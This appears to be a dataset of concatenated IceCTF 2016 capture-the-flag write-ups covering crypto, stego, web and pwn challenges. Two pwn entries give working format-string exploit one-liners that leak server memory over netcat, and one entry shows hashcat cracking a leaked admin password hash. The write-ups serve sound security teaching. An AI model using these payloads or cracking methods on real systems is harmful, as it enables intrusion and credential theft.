text_chunk
stringlengths 151
703k
|
---|
#!/usr/bin/env python3
"""encode.pyc is a compiled python file. The first 2 bytes \x16\x0d == 3350 mean that it's a python3 file. Python3.4 throws a bad magic number error, but python3.5 works. After trying a couple python decompilers, I found that unpyc3 worked the best:```duck@computer:~/Downloads$ python3.5 ../unpyc3.py encode.pyc import randomimport base64P = [27, 35, 50, 11, 8, 20, 44, 30, 6, 1, 5, 2, 33, 16, 36, 64, 3, 61, 54, 25, 12, 21, 26, 10, 57, 53, 38, 56, 58, 37, 43, 17, 42, 47, 4, 14, 7, 46, 34, 19, 23, 40, 63, 18, 45, 60, 13, 15, 22, 9, 62, 51, 32, 55, 29, 24, 41, 39, 49, 52, 48, 28, 31, 59]S = [68, 172, 225, 210, 148, 172, 72, 38, 208, 227, 0, 240, 193, 67, 122, 108, 252, 57, 174, 197, 83, 236, 16, 226, 133, 94, 104, 228, 135, 251, 150, 52, 85, 56, 174, 105, 215, 251, 111, 77, 44, 116, 128, 196, 43, 210, 214, 203, 109, 65, 157, 222, 93, 74, 209, 50, 11, 172, 247, 111, 80, 143, 70, 89]inp = input()inp += ''.join(chr(random.randint(0, 47)) for _ in range(64 - len(inp) % 64))ans = ['' for i in range(len(inp))]for j in range(0, len(inp), 64): for i in range(64): ans[j + P[i] - 1] = chr((ord(inp[j + i]) + S[i]) % 256)ans = ''.join(ans)print(base64.b64encode(ans.encode('utf8')).decode('utf8'))```
I've modified the encode into a function and created its accompanying decode function.
Note: because the length of the cleartext isn't stored anywhere in the cipher text, the deciphered text will have a few garbage characters at the end. This doesn't matter to us because we can just eyeball the flag from the jibberish."""
import randomimport base64P = [27, 35, 50, 11, 8, 20, 44, 30, 6, 1, 5, 2, 33, 16, 36, 64, 3, 61, 54, 25, 12, 21, 26, 10, 57, 53, 38, 56, 58, 37, 43, 17, 42, 47, 4, 14, 7, 46, 34, 19, 23, 40, 63, 18, 45, 60, 13, 15, 22, 9, 62, 51, 32, 55, 29, 24, 41, 39, 49, 52, 48, 28, 31, 59]S = [68, 172, 225, 210, 148, 172, 72, 38, 208, 227, 0, 240, 193, 67, 122, 108, 252, 57, 174, 197, 83, 236, 16, 226, 133, 94, 104, 228, 135, 251, 150, 52, 85, 56, 174, 105, 215, 251, 111, 77, 44, 116, 128, 196, 43, 210, 214, 203, 109, 65, 157, 222, 93, 74, 209, 50, 11, 172, 247, 111, 80, 143, 70, 89]
def encode(inp): # Padd inp with random characters for a length divisible by 64 inp += ''.join(chr(random.randint(0, 47)) for _ in range(64 - len(inp) % 64)) # ans will hold our encoded text ans = ['' for i in range(len(inp))] # For each block of 64 characters for j in range(0, len(inp), 64): # Iterate through each character in the block for i in range(64): # Two things happen here: First, the S list is used to shift individual characters # Second: the P list is used to mix/shuffle the characters in a block ans[j + P[i] - 1] = chr((ord(inp[j + i]) + S[i]) % 256) ans = ''.join(ans) return base64.b64encode(ans.encode('utf8')).decode('utf8')
def decode(inp): # The decode operation is very similar to the encode operation inp = base64.b64decode(inp.encode("utf8")).decode("utf8") # print(inp) ans = ['' for i in range(len(inp))] for j in range(0, len(inp), 64): for i in range(64): # swap input and output indices for the mixing/shuffling oind = j + P[i] - 1 iind = j + i # subtract S offsets instead of adding # I add the extra 256 because sometimes modulo of negative numbers isn't nicely defined in languages, but it shouldn't be needed in Python ans[iind] = chr((ord(inp[oind]) - S[i] + 256) % 256) ans = ''.join(ans) return ans
if __name__ == '__main__': # enc = encode("hello, world") # print(enc) dec = decode("Wmkvw680HDzDqMK6UBXChDXCtC7CosKmw7R9w7JLwr/CoT44UcKNwp7DllpPwo3DtsOID8OPTcOWwrzDpi3CtMOKw4PColrCpXUYRhXChMK9w6PDhxfDicOdwoAgwpgNw5/Cvw==") print(dec) |
Search - misc - 40 points
Hint: There's something about this domain... search.icec.tf, I don't see anything, but maybe its all about the conTEXT. Url : http://search.icec.tf/
Looking at the TXT records with " dig -t TXT search.icec.tf "
The flag is then showed
Flag: IceCTF{flag5_all_0v3r_the_Plac3} |
# Kitty (Web - 70 Points, 568 solves)
> They managed to secure their website this time and moved the hashing to the server :(. We managed to leak this hash of the admin's password though! c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a. Can you get the flag? [kitty.vuln.icec.tf](http://kitty.vuln.icec.tf/)
Solution--------
The first thing you want to do is look at the page source, you will notice specific password requirements to even send a POST to the server.
> minlength="5"
> pattern="[A-Z][a-z][0-9][0-9][\?%$@#\^\*\(\)\[\];:]"
Using this information we can either bruteforce the password since it is a small enough keyspace or use an online tool to crack it.
In this case, I'm going to brute force it with [Hashcat](https://hashcat.net/hashcat/)

You will find that the password is Vo83* which matches our password requirements as described above.

Flag: 'IceCTF{i_guess_hashing_isnt_everything_in_this_world}' |
# Move Along (Web - 30 Points, 1181 solves)
> [This site](http://move-along.vuln.icec.tf/) seems awfully suspicious, do you think you can figure out what they're hiding?
Solution--------
The first step is to look at the source of the page we are given.

We then notice the picture that is on the homepage is being pulled from a directory called "move_along" this seems interesting...

When navigating to this directory we notice another directory called "0f76da769d67e021518f05b552406ff6"

There is file in the directory called "secret.jpg" once we open it up... BOOM, theres the flag!

Flag: 'IceCTF{tH3_c4t_15_Ou7_oF_THe_b49}'
|
Scavenger Hunt - Misc - 50 points
Hint: There is a flag hidden somewhere on our website, do you think you can find it? Good luck!
Used wget to download the whole site, "wget -r icec.tf"cd into the folderstrings * | grep IceCTF{
This will return the flag in a img class
IceCTF{Y0u_c4n7_533_ME_iM_h1Din9} |
#Dear Diary
**Category:** Pwn**Points:** 60**Description:**
We all want to keep our secrets secure and what is more important than our precious diary entries? We made this highly secure diary service that is sure to keep all your boy crushes and edgy poems safe from your parents. nc diary.vuln.icec.tf 6501 [download file](./deardiary)
##Write-upInitially we run the binary and see what kind of functionality exists within it.
```root@kali:~# ./deardiary -- Diary 3000 --
1. add entry2. print latest entry3. quit> 1Tell me all your secrets: Hello World!
1. add entry2. print latest entry3. quit> 2Hello World!
1. add entry2. print latest entry3. quit> 3```
Ok, looks pretty simple. We supply some data and we can request that this data is then printed back out us. Let's try a format string and see what it does.
```root@kali:~# python -c 'print "1\nAAAA"+"%08x."*10+"\n2\n3\n"'| ./deardiary -- Diary 3000 --
1. add entry2. print latest entry3. quit> Tell me all your secrets: 1. add entry2. print latest entry3. quit> AAAAf755b7b6.f76cf000.ffa00f98.ffa02398.00000000.0000000a.4eedee00.00000000.00000000.ffa023a8.
1. add entry2. print latest entry3. quit```
Well, it definitely looks like we are dealing with a format string issue as we are dumping memory out. Also, note that the command I am using along with the format string sytax is setup to move through the menu of the binary by itself. It lets me write a payload, read the payload back, and exit the program without any interaction. Now, let's dump a little more and see if we can see our "AAAA"s.
```root@kali:~# python -c 'print "1\nAAAA"+"%08x."*20+"\n2\n3\n"'| ./deardiary -- Diary 3000 --
1. add entry2. print latest entry3. quit> Tell me all your secrets: 1. add entry2. print latest entry3. quit> AAAAf75df7b6.f7753000.ff8cab88.ff8cbf88.00000000.0000000a.ea2b0000.00000000.00000000.ff8cbf98.0804888c.ff8cab88.00000004.f7753c20.00000000.00000000.00000001.41414141.78383025.3830252e.
1. add entry2. print latest entry3. quit```
There we go, it looks as if our input was read back off the stack in the 18th position. Now we need to figure out what we can do. Let's take a look at the binary and see if there is a good memory location to mess with.
```asm flag:0804863d push ebp ; XREF=main+270804863e mov ebp, esp08048640 sub esp, 0x2808048643 mov eax, dword [gs:0x14]08048649 mov dword [ss:ebp+var_C], eax0804864c xor eax, eax0804864e mov dword [ss:esp+0x28+var_24], 0x0 ; argument "oflag" for method j_open08048656 mov dword [ss:esp+0x28+var_28], 0x8048940 ; "./flag.txt", argument "path" for method j_open0804865d call j_open08048662 mov dword [ss:ebp+var_10], eax08048665 mov dword [ss:esp+0x28+var_20], 0x100 ; argument "nbyte" for method j_read0804866d mov dword [ss:esp+0x28+var_24], 0x804a0a0 ; argument "buf" for method j_read08048675 mov eax, dword [ss:ebp+var_10]08048678 mov dword [ss:esp+0x28+var_28], eax ; argument "fildes" for method j_read0804867b call j_read08048680 mov eax, dword [ss:ebp+var_C]08048683 xor eax, dword [gs:0x14]0804868a je 0x8048691
0804868c call j___stack_chk_fail
08048691 leave ; XREF=flag+7708048692 ret ; endp```
It looks as though the flag is on the server and being read in and saved into a buffer at ```0x804a0a0```. There is a good paper on [exploiting format string vulnerabilities](https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf) that has a section dedicated to viewing memory at an arbitrary location. Let's try to implement that.
```root@kali:~# python -c 'print "1\n\xa0\xa0\x04\x08"+"%08x."*17+"%s\n2\n3\n"'| ./deardiary -- Diary 3000 --
1. add entry2. print latest entry3. quit> Tell me all your secrets: 1. add entry2. print latest entry3. quit> ��f763d7b6.f77b1000.ffdca6b8.ffdcbab8.00000000.0000000a.43679600.00000000.00000000.ffdcbac8.0804888c.ffdca6b8.00000004.f77b1c20.00000000.00000000.00000001.Local FLAG
1. add entry2. print latest entry3. quit```
Running it locally gives us a test flag that we setup, so we should be able to go straight to the server and get the flag.
```root@kali:~# python -c 'print "1\n\xa0\xa0\x04\x08"+"%08x."*17+"%s\n2\n3\n"'| nc diary.vuln.icec.tf 6501-- Diary 3000 --
1. add entry2. print latest entry3. quit> Tell me all your secrets: 1. add entry2. print latest entry3. quit> ��f7e57836.f7fce000.ffffc898.ffffdc98.00000000.0000000a.3ab59b00.00000000.00000000.ffffdca8.0804888c.ffffc898.00000004.f7fcec20.00000000.00000000.00000001.IceCTF{this_thing_is_just_sitting_here}
1. add entry2. print latest entry3. quit```
Perfect, our flag is ```IceCTF{this_thing_is_just_sitting_here}```. |
# IceCTF 2016 – Blue Monday
## Problem
> Those who came before me lived through their vocations From the past until completion, they'll turn away no more And still I find it so hard to say what I need to say But I'm quite sure that you'll tell me just how I should feel today.
## Solution
Import the MIDI file into a `Sound[]` instance.
```mathematicamidi = Import[ "https://play.icec.tf/problem-static/blue_monday_ff0973317ee7c2df4225f994ad49bb4075546b9f20eb22bbc636be910f628bfd"]```

Extract the notes from the `SoundNote[]` instances inside the `Sound[]`.
```mathematicanotes = midi[[1, All, 1]]```
```{C#5, D#7, F7, G4, C6, A#4, D#9, C5, F4, D#7, B7, C#3, D8, A3, B6, C#8, C#6,F3, C#5, D#7, B6, D#6, C#3, G3, G#7, B6, C#8, C#5, G#4, C#3, F3, B6, E5, D#3,G#8, F3, B6, C5, E3, A#8, A4, B6, C#7, B6, F#8, E3, A#8, D#3, F9}```
Mathematica cannot convert notes to pitches directly. Use some code from the Mathematica StackExchange instead: [http://mathematica.stackexchange.com/a/42944/13764](http://mathematica.stackexchange.com/a/42944/13764)
```mathematica(*Converts note string into pitch relative to middle C=0*)stringToPitch[string_String] := Module[{noteValues, noteList, pitch}, noteValues = {"C", "C#", "D", "D#", "E", "F", "F#", "G", "G#", "A", "A#", "B"}; noteList = StringCases[ string, {RegularExpression["[A-G]#?"], RegularExpression["\\d+"]}]; pitch = Position[noteValues, First[noteList]][[1, 1]] - 1; ((ToExpression[noteList[[2]]] - 4)*12) + pitch]```
```mathematicastringToPitch /@ notes```
```{13, 39, 41, 7, 24, 10, 63, 12, 5, 39, 47, -11, 50, -3, 35, 49, 25,-7, 13, 39, 35, 27, -11, -5, 44, 35, 49, 13, 8, -11, -7, 35, 16, -9,56, -7, 35, 12, -8, 58, 9, 35, 37, 35, 54, -8, 58, -9, 65}```
Guess the offset for the characters. Use a `Manipulate[]` to easily try different offsets and preview the decoding. It should look like something alphanumeric if our guess is close.
```mathematicaManipulate[ FromCharacterCode[stringToPitch /@ notes + x], {x, 11, 256 + 11, 1}]```

Of course... the format is IceCTF{...}, so the first character will be "I".
```mathematicaFromCharacterCode[ stringToPitch /@ notes + ToCharacterCode["I"][[1]] - stringToPitch[First@notes]]```
```IceCTF{HAck1n9_mU5Ic_W17h_mID15_L3t5_H4vE_a_r4v3}``` |
# IceCTF 2016 – Vape Nation
## Problem
>Go Green!
## Solution
Mathematica can download the image with `Import[]`.
```mathematicaimage = Import["https://play.icec.tf/problem-static/vape_nation_7d550b3069428e39775f31e7299cd354c721459043cf1a077bb388f4f531d459.png"]```

But this problem likely involves steganalysis of the pixel data of the image. We can specify `"Data"` in the `Import[]` call to download the image. Or we can convert the image data to byte data after downloading with ImageData[].
```mathematicaimageData = Import[ "https://play.icec.tf/problem-static/vape_nation_7d550b3069428e39775f31e7299cd354c721459043cf1a077bb388f4f531d459.png", "Data"];```
Let's try previewing the least significant bit (LSB) of each channel of the image.
First we extract the LSB of each channel by calling `BitAnd[]` with `1`. Then reconstruct an `Image[]` and `ImageAdjust[]` the image to make the minute differences of each pixel visible.
```mathematicaflagImage = ImageAdjust@Image[BitAnd[imageData, 1], "Byte"]```

The flag is easily readable. The flag is green in the image because it is in the green channel. The green channel is the second channel of the image and can be extracted with `ColorSeparate[]` if desired.
Additionally, we can attempt to extract the text from the image by OCR using `TextRecognize[]` for easy copy pasting to submit the flag.
```mathematicaTextRecognize@ColorSeparate[flagImage][[2]]```
```IceCTF{420_CuR35_c4NCEr}```
|
# IceCTF 2016 – Pretty Pixels
## Problem
>Don't get me wrong, I love pretty colors as much as the next guy... but what does it mean?
## Solution
If we preview the image, it is just pure multicolored noise.
```mathematicaimage = Import["https://play.icec.tf/problem-static/pretty_pixels_604e889db44de75ea4541a23e344b80eb315f0faf4136abc6d40e1fff8802c9f.png"]```

We want the values for each pixel. We could use `ImageData[image,"byte"]`, or we can specify `"Data"` when downloading the image to get the byte data of each pixel.
```mathematicaimageData = Import[ "https://play.icec.tf/problem-static/pretty_pixels_604e889db44de75ea4541a23e344b80eb315f0faf4136abc6d40e1fff8802c9f.png", "Data"];```
Lets try to interpret the first 100 pixels (300 RGB values) of the image as ASCII bytes.
```mathematicaFromCharacterCode[Flatten[imageData][[;; 300]]]```
```PNG
IHDR& s(bKGDÿÿÿ ½§ pHYstIMEà"Wÿ0fEiTXtCommentCREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 80f_-w IDATxÚ̽yåuy5~ºûÞ¾{ßÞféÙÑP,3FË Á*XI¦"(¸U¢|Q4j¢&Æ1hX¢BXYmgÆÙ^nßýö½}û/ïùüÎ}æùÜnß¼oÅ®¾Ë/ûù~ó```
That looks like the PNG header. Let's interpret pixel of the image as bytes and convert it into a string of binary data. Then use `ImportString[]` to import the data as if it were a file of binary data.
```mathematicaImportString@FromCharacterCode@Flatten@imageData```
 |
# IceCTF 2016 – Over the Hill
## Problem
> Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag.
## Solution
As hinted at by the name, this challenge uses the [Hill Cipher](https://en.wikipedia.org/wiki/Hill_cipher).
Enter the alphabet, matrix and ciphertext values provided with the problem.
```mathematicaalphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}";
matrix = { {54, 53, 28, 20, 54, 15, 12, 7}, {32, 14, 24, 5, 63, 12, 50, 52}, {63, 59, 40, 18, 55, 33, 17, 3}, {63, 34, 5, 4, 56, 10, 53, 16}, {35, 43, 45, 53, 12, 42, 35, 37}, {20, 59, 42, 10, 46, 56, 12, 61}, {26, 39, 27, 59, 44, 54, 23, 56}, {32, 31, 56, 47, 31, 2, 29, 41}};
ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ";```
Get the index of each ciphertext character using the alphabet. We assume 0 based indexes (Mathematica uses 1 based indexes normally. Wikipedia used 0 based indexes and the highest index in the key was 63, so this challenge probably uses 0 based indexes.
`Characters[]` will split a string into a list of single character strings, whose index can be looked up in alphabet using `StringPosition[]`.
```mathematicaciphertextIndexes = StringPosition[alphabet, #][[1, 1]] - 1 & /@ Characters@ciphertext```
```{58, 39, 21, 58, 63, 3, 34, 60, 7, 29, 60, 16, 32, 12, 41, 63, 28,43, 61, 56, 22, 35, 29, 3, 10, 9, 55, 28, 36, 23, 3, 55, 56, 17, 10,14, 52, 2, 9, 56, 52, 29, 15, 33, 41, 13, 39, 29, 1, 61, 61, 30, 49,29, 14, 19, 44, 43, 28, 41, 59, 51, 28, 42}```
Split the ciphertext into vertical matrices the size of the key matrix.
```mathematicaciphertextParts = Partition[List /@ ciphertextIndexes, Length@matrix]```
```{{{58}, {39}, {21}, {58}, {63}, {3}, {34}, {60}}, {{7}, {29}, {60},{16}, {32}, {12}, {41}, {63}}, {{28}, {43}, {61}, {56}, {22}, {35},{29}, {3}}, {{10}, {9}, {55}, {28}, {36}, {23}, {3}, {55}}, {{56},{17}, {10}, {14}, {52}, {2}, {9}, {56}}, {{52}, {29}, {15}, {33},{41}, {13}, {39}, {29}}, {{1}, {61}, {61}, {30}, {49}, {29}, {14},{19}}, {{44}, {43}, {28}, {41}, {59}, {51}, {28}, {42}}}```
Just do a dot product of the message parts with the inverse of the matrix. Everything is done with a modulus of the length of the alphabet.
```mathematicamessageParts = Mod[ Inverse[matrix, Modulus -> StringLength@alphabet].#, StringLength@alphabet] & /@ ciphertextParts```
```{{{34}, {2}, {4}, {28}, {45}, {31}, {62}, {11}}, {{8}, {13}, {4},{0}, {17}, {61}, {0}, {11}}, {{6}, {4}, {1}, {17}, {0}, {61}, {15},{11}}, {{20}, {18}, {61}, {11}, {4}, {3}, {61}, {25}}, {{4}, {15},{15}, {4}, {11}, {8}, {13}, {61}}, {{0}, {17}, {4}, {61}, {0}, {61},{1}, {4}}, {{0}, {20}, {19}, {8}, {5}, {20}, {11}, {61}}, {{12},{52}, {23}, {19}, {20}, {17}, {4}, {63}}}```
`Flatten[]` the nested list of indexes into a one dimensional list, then convert the indexes back into characters, and join the single character strings back together.
```mathematicaStringJoin[StringPart[alphabet, # + 1] & /@ Flatten@messageParts]```
```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}``` |
# Dear Diary
O desafio se tratava de um format string, sem entrar em maiores detalhes a respeito da falha, segue a resolução
```greyhound//deadcow ~/fun/icectf/dear_diary % nc diary.vuln.icec.tf 6501 <<< $(python -c 'print "1\n"+"\xa0\xa0\x04\x08"+"%18$s"+"\n2\n3\n"')-- Diary 3000 --
1. add entry2. print latest entry3. quit> Tell me all your secrets:1. add entry2. print latest entry3. quit> IceCTF{this_thing_is_just_sitting_here}
1. add entry2. print latest entry3. quit>greyhound//deadcow ~/fun/icectf/dear_diary %``` |
## Kitty, web, 70 points
__Description__:
They managed to secure their website this time and moved the hashing to the server :(. We managed to leak this hash of the admin's password though! `c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a`. Can you get the flag? kitty.vuln.icec.tf
__Solver__: [mut3](https://github.com/mut3)
This web challenge supplied a password hash and a login portal. Looking at the html of the login portal revealed some input validation on the password field.
```<input id="password" class="u-full-width" name="password" placeholder="Password" required="" pattern="[A-Z][a-z][0-9][0-9][\?%$@#\^\*\(\)\[\];:]" type="password">```
It seems there is a very limited range of valid passwords, one uppercase letter `[A-Z]`, one lowercase letter `[a-z]`, two digits `[0-9]`, and one special character from the set `?%$@#^*()[]:;` `[\?%$@#\^\*\(\)\[\];:]`. This means there are only are only `26*26*10*10*13 = 878800` possible passwords. A script could be hacked together to try to collide with the supplied hash, but why bother when a better tool exists?
It turns out the challenge name 'Kitty' was a hint to use [hashcat](https://hashcat.net/hashcat/), a password cracking tool, which makes short work of this SHA 256 hash when given the custom pattern for this password.
```# hashcat --hash-type=1400 --custom-charset1='%#^*{}[];:?' -a 3 hash.txt ?u?l?d?d?1Initializing hashcat v2.00 with 4 threads and 32mb segment-size...
Added hashes from file hash.txt: 1 (1 salts)Activating quick-digest mode for single-hash
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a:Vo83*
All hashes have been recovered
Input.Mode: Mask (?u?l?d?d?1) [5]Index.....: 0/1 (segment), 676000 (words), 0 (bytes)Recovered.: 1/1 hashes, 1/1 saltsSpeed/sec.: - plains, 565.99k wordsProgress..: 566876/676000 (83.86%)Running...: 00:00:00:01Estimated.: --:--:--:--
```
Logging into the web portal with admin:Vo83* gave the flag `Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}` |
# IceCTF 2016 – Matrix
## Problem
>I like to approach problems with a fresh perspective and try to visualize the problem at hand.
## Solution
Import the challenge file as a list of strings.
```mathematicamatrix = Import[ "https://play.icec.tf/problem-static/matrix_adf1a8f010f541cb171910f7afe1f86d41ce1669c51e318bb84c3c2e4397e2f4.txt", "List"]```
```{"0x00000000", "0xff71fefe", "0x83480082", "0xbb4140ba","0xbb6848ba", "0xbb4a80ba", "0x83213082", "0xff5556fe", "0xff5556fe","0x00582e00", "0x576fb9be", "0x707ef09e", "0xe74b41d6", "0xa82c0f16","0x27a15690", "0x8c643628", "0xbfcbf976", "0x4cd959aa", "0x2f43d73a","0x5462300a", "0x57290106", "0xb02ace5a", "0xef53f7fc", "0xef53f7fc","0x00402e36", "0xff01b6a8", "0x83657e3a", "0xbb3b27fa", "0xbb5eaeac","0xbb1017a0", "0x8362672c", "0xff02a650", "0x00000000"}```
Convert each hex number to a list of binary digits.
```mathematicabinary = IntegerDigits[FromDigits[StringTrim[#, "0x"], 16], 2, 32] & /@ matrix```
```{{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},{1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0},{1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0},{1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0},{1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0},{1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0},{1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0},{1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0},{1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0},{0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0},{0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0},{0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0},{1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0},{1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0},{0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0},{1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0},{1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0},{0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0},{0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0},{0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0},{0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0},{1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0},{1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0},{1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0},{0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0},{1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0},{1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0},{1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0},{1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0},{1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0},{1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0},{1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0},{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}```
Attempt to create a QR code from the data. There is some corruption that looks like duplicated rows or columns.
```mathematicaColorNegate@Image@binary```

Delete duplicate rows, then transpose the matrix to delete duplicate columns.
```mathematicacleaned = DeleteDuplicates@Transpose@DeleteDuplicates@binary;```
Create an image from the cleaned up data.
```mathematicaimage = ColorNegate@Image[cleaned]```

Read the QR code.
```mathematicaBarcodeRecognize[image]```
```IceCTF{1F_y0U_l0oK_c1Os3lY_EV3rY7h1N9_i5_1s_4nD_0s}``` |
FeatherDuster's Cryptanalib library (http://github.com/nccgroup/featherduster) can be used to solve this challenge rather quickly. The challenge text is below:Problem updated on 7/17/16 @ 8PM EST - fixed valuesI RSA encrypted the same message 3 different times with the same exponent. Can you decrypt it?
N1:79608037716527910392060670707842954224114341083822168077002144855358998405023007345791355970838437273653492726857398313047195654933011803740498167538754807659255275632647165202835846338059572102420992692073303341392512490988413552501419357400503232190597741120726276250753866130679586474440949586692852365179C1:34217065803425349356447652842993191079705593197469002356250751196039765990549766822180265723173964726087016890980051189787233837925650902081362222218365748633591895514369317316450142279676583079298758397507023942377316646300547978234729578678310028626408502085957725408232168284955403531891866121828640919987
N2:58002222048141232855465758799795991260844167004589249261667816662245991955274977287082142794911572989261856156040536668553365838145271642812811609687362700843661481653274617983708937827484947856793885821586285570844274545385852401777678956217807768608457322329935290042362221502367207511491516411517438589637C2:48038542572368143315928949857213341349144690234757944150458420344577988496364306227393161112939226347074838727793761695978722074486902525121712796142366962172291716190060386128524977245133260307337691820789978610313893799675837391244062170879810270336080741790927340336486568319993335039457684586195656124176
N3:95136786745520478217269528603148282473715660891325372806774750455600642337159386952455144391867750492077191823630711097423473530235172124790951314315271310542765846789908387211336846556241994561268538528319743374290789112373774893547676601690882211706889553455962720218486395519200617695951617114702861810811C3:55139001168534905791033093049281485849516290567638780139733282880064346293967470884523842813679361232423330290836063248352131025995684341143337417237119663347561882637003640064860966432102780676449991773140407055863369179692136108534952624411669691799286623699981636439331427079183234388844722074263884842748<span>A transcript of the Python console where cryptanalib is used to solve the challenge is below:</span><span><span>>>> import cryptanalib as ca</span>
